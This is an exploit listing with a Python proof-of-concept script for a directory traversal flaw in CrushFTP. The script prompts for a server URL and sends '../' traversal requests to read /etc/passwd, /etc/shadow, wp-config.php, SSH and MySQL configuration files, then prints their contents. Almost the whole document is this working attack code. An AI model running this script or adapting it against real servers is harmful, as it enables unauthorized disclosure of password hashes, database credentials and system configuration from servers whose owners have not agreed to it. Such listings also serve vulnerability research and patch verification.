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## Exploit Title: CrushFTP Directory Traversal ## Google Dork: N/A # Date: 2024-04-30 # Exploit Author: [Abdualhadi khalifa (https://twitter.com/absholi_ly) ## Vendor Homepage: https://www.crushftp.com/ ## Software Link: https://www.crushftp.com/download/ ## Version: below 10.7.1 and 11.1.0 (as well as legacy 9.x) ## Tested on: Windows10 import requests import re # Regular expression to validate the URL def is_valid_url(url): regex = re.compile( r'^(?:http|ftp)s?://' # http:// or https:// r'(?:(?:A-Z0-9?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain... r'localhost|' # localhost... r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|' # ...or ipv4 r'\[?[A-F0-9]*:[A-F0-9:]+\]?)' # ...or ipv6 r'(?::\d+)?' # optional: port r'(?:/?|[/?]\S+)$', re.IGNORECASE) return re.match(regex, url) is not None # Function to scan for the vulnerability def scan_for_vulnerability(url, target_files): print("Scanning for vulnerability in the following files:") for target_file in target_files: print(target_file) for target_file in target_files: try: response = requests.get(url + "?/../../../../../../../../../../" + target_file, timeout=10) if response.status_code == 200 and target_file.split('/')[-1] in response.text: print("vulnerability detected in file", target_file) print("Content of file", target_file, ":") print(response.text) else: print("vulnerability not detected or unexpected response for file", target_file) except requests.exceptions.RequestException as e: print("Error connecting to the server:", e) # User input input_url = input("Enter the URL of the CrushFTP server: ") # Validate the URL if is_valid_url(input_url): # Expanded list of allowed files target_files = [ "/var/www/html/index.php", "/var/www/html/wp-config.php", "/etc/passwd", "/etc/shadow", "/etc/hosts", "/etc/ssh/sshd_config", "/etc/mysql/my.cnf", # Add more files as needed ] # Start the scan scan_for_vulnerability(input_url, target_files) else: print("Invalid URL entered. Please enter a valid URL.") |
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